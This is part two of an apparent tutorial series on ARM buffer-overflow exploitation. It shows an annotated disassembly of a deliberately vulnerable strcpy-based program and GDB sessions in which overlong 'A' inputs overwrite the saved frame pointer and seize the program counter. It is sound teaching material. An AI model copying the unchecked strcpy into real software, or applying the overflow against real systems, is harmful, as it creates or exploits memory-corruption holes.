This is the second part of a small series.
First part can be found hereIn this second part I'm going to pick up where I left you hanging with a disassembly of our vulnerable application. This time I will add appropriate comments directly in the disassembly. Since this is crap and boring I'll leave you with only complete comments of the "exploitme()" function.
00008400 <exploitme>:
; Prolog
8400: e92d4800 push {fp, lr} ; Push frame pointer and link register (our return address)
8404: e28db004 add fp, sp, #4 ; Point fp to our stack pointer + 4 to create the appropriate stack frame
8408: e24dd018 sub sp, sp, #24 ; Make room for local variables on the stack by increasing the stack
; Remember the stack grows downwards hence subtracting from stack pointer
; actually increases the stack size.
840c: e50b0018 str r0, [fp, #-24] ; Store our 1st argument on the stack address fp-24
; Function internal
8410: e51b3018 ldr r3, [fp, #-24] ; Load the argument into register 3
8414: e24b2014 sub r2, fp, #20 ; Load address at fp-20 into register 2
8418: e1a00002 mov r0, r2 ; Move r2 to r0. This is our first argument to strcpy
841c: e1a01003 mov r1, r3 ; Move r3 to r1. This is our second argument to strcpy
8420: ebffffbf bl 8324 <_init+0x2c> ; Call strcpy. bl (branch and link) jumps to the address 8324 and puts 0x8424 in the LR
; Epilog
8424: e24bd004 sub sp, fp, #4 ; Restore stack pointer
8428: e8bd8800 pop {fp, pc} ; Restore previous fp and return to the address put in LR by the caller.
0000842c <main>:
It is now time to test this application and get going with exploiting it. I assume readers are aware of buffer overflows and can easily spot the problematic string copy. We'll start by doing some test runs to see what we got here.
pi@raspberrypi ~/code $ ./exploitme
Usage: ./exploitme <string>
pi@raspberrypi ~/code $ ./exploitme AAAA
pi@raspberrypi ~/code $ ./exploitme AAAAAAAAAAAAAAAA
Illegal instruction
pi@raspberrypi ~/code $ ./exploitme AAAAAAAAAAAAAAAAAAAA
Segmentation fault
What to notice here first of all is the segmentation fault when sending 20 "A"s as an argument, but the "Illegal instruction" is also worth taking note of. Let's fire up GDB and take a look at what is going on under the hood.
pi@raspberrypi ~/code $ sudo gdb exploitme
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabihf".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/pi/code/exploitme...(no debugging symbols found)...done.
(gdb) set args AAAAAAAAAAAAAAAAAAAA
(gdb) displ/5i $pc
(gdb) b exploitme
Breakpoint 1 at 0x8400
(gdb) r
Starting program: /home/pi/code/exploitme AAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x00008400 in exploitme ()
1: x/5i $pc
=> 0x8400 <exploitme>: push {r11, lr}
0x8404 <exploitme+4>: add r11, sp, #4
0x8408 <exploitme+8>: sub sp, sp, #24
0x840c <exploitme+12>: str r0, [r11, #-24]
0x8410 <exploitme+16>: ldr r3, [r11, #-24]
(gdb) i r
r0 0xbefff8ac 3204446380
r1 0xbefff774 3204446068
r2 0xbefff780 3204446080
r3 0xbefff8ac 3204446380
r4 0x0 0
r5 0x0 0
r6 0x8354 33620
r7 0x0 0
r8 0x0 0
r9 0x0 0
r10 0xb6fff000 3070226432
r11 0xbefff624 3204445732
r12 0xb6fc1000 3069972480
sp 0xbefff618 0xbefff618
lr 0x8480 33920
pc 0x8400 0x8400 <exploitme>
cpsr 0x20000010 536870928
(gdb) x/10x $fp
0xbefff618: 0xbefff774 0x00000002 0x00000000 0xb6ead81c
0xbefff628: 0xb6fc1000 0xbefff774 0x00000002 0x0000842c
0xbefff638: 0x00000000 0x00000000
(gdb) x/10x $sp
0xbefff618: 0xbefff774 0x00000002 0x00000000 0xb6ead81c
0xbefff628: 0xb6fc1000 0xbefff774 0x00000002 0x0000842c
0xbefff638: 0x00000000 0x00000000
(gdb) ni 9
0x00008424 in exploitme ()
1: x/5i $pc
=> 0x8424 <exploitme+36>: sub sp, r11, #4
0x8428 <exploitme+40>: pop {r11, pc}
0x842c <main>: push {r11, lr}
0x8430 <main+4>: add r11, sp, #4
0x8434 <main+8>: sub sp, sp, #8
(gdb) x/10x $fp
0xbefff614: 0x00008400 0xbefff774 0x00000002 0x00000000
0xbefff624: 0xb6ead81c 0xb6fc1000 0xbefff774 0x00000002
0xbefff634: 0x0000842c 0x00000000
(gdb) x/10x $sp
0xbefff5f8: 0x00000000 0xbefff8ac 0x41414141 0x41414141
0xbefff608: 0x41414141 0x41414141 0x41414141 0x00008400
0xbefff618: 0xbefff774 0x00000002
(gdb)
When reaching 0x8424 we have successfully overwritten our previous frame pointer and successfully caused memory corruption. If you compare the return address, you'll also notice this has changed due to the null byte also being copied by strcpy(). In this case, this will cause the application to continue execution from the beginning of exploitme(), which is just a coincident.
(gdb) ni
0x00008404 in exploitme ()
1: x/5i $pc
=> 0x8404 <exploitme+4>: add r11, sp, #4
0x8408 <exploitme+8>: sub sp, sp, #24
0x840c <exploitme+12>: str r0, [r11, #-24]
0x8410 <exploitme+16>: ldr r3, [r11, #-24]
0x8414 <exploitme+20>: sub r2, r11, #20
(gdb) ni 9
0x00008428 in exploitme ()
1: x/5i $pc
=> 0x8428 <exploitme+40>: pop {r11, pc}
0x842c <main>: push {r11, lr}
0x8430 <main+4>: add r11, sp, #4
0x8434 <main+8>: sub sp, sp, #8
0x8438 <main+12>: str r0, [r11, #-8]
(gdb) x/10x $sp
0xbefff610: 0x41414141 0x00008424 0xbefff774 0x00000002
0xbefff620: 0x00000000 0xb6ead81c 0xb6fc1000 0xbefff774
0xbefff630: 0x00000002 0x0000842c
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00008428 in exploitme ()
1: x/5i $pc
=> 0x8428 <exploitme+40>: pop {r11, pc}
0x842c <main>: push {r11, lr}
0x8430 <main+4>: add r11, sp, #4
0x8434 <main+8>: sub sp, sp, #8
0x8438 <main+12>: str r0, [r11, #-8]
(gdb)
I'll leave it as an exercise for you to see what happens for the further execution and why we get a segmentation fault. If we instead try to provide 24 A's for the argument, we get exactly what we are interested in.
(gdb) set args AAAAAAAAAAAAAAAAAAAAAAAA
(gdb) r
Starting program: /home/pi/code/exploitme AAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x00008400 in exploitme ()
1: x/5i $pc
=> 0x8400 <exploitme>: push {r11, lr}
0x8404 <exploitme+4>: add r11, sp, #4
0x8408 <exploitme+8>: sub sp, sp, #24
0x840c <exploitme+12>: str r0, [r11, #-24]
0x8410 <exploitme+16>: ldr r3, [r11, #-24]
(gdb) ni 10
0x00008428 in exploitme ()
1: x/5i $pc
=> 0x8428 <exploitme+40>: pop {r11, pc}
0x842c <main>: push {r11, lr}
0x8430 <main+4>: add r11, sp, #4
0x8434 <main+8>: sub sp, sp, #8
0x8438 <main+12>: str r0, [r11, #-8]
(gdb) x/10x $sp
0xbefff600: 0x41414141 0x41414141 0xbefff700 0x00000002
0xbefff610: 0x00000000 0xb6ead81c 0xb6fc1000 0xbefff764
0xbefff620: 0x00000002 0x0000842c
(gdb) ni
0x00008428 in exploitme ()
1: x/5i $pc
=> 0x8428 <exploitme+40>: pop {r11, pc}
0x842c <main>: push {r11, lr}
0x8430 <main+4>: add r11, sp, #4
0x8434 <main+8>: sub sp, sp, #8
0x8438 <main+12>: str r0, [r11, #-8]
Could not insert single-step breakpoint at 0x41414140
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x41414140 in ?? ()
1: x/5i $pc
=> 0x41414140: <error: Cannot access memory at address 0x41414140>
(gdb) i r
r0 0xbefff5f0 3204445680
r1 0xbefff8c0 3204446400
r2 0xfffffd48 4294966600
r3 0x0 0
r4 0x0 0
r5 0x0 0
r6 0x8354 33620
r7 0x0 0
r8 0x0 0
r9 0x0 0
r10 0xb6fff000 3070226432
r11 0x41414141 1094795585
r12 0xb6f0d478 3069236344
sp 0xbefff608 0xbefff608
lr 0x8424 33828
pc 0x41414140 0x41414140
cpsr 0x60000030 1610612784
(gdb)
So we got control of the PC due to our overwrite. This is not too different from what you might already know from exploitation on x86 and in the next part we will start taking a look at how ARM exploitation differs from x86 exploitation.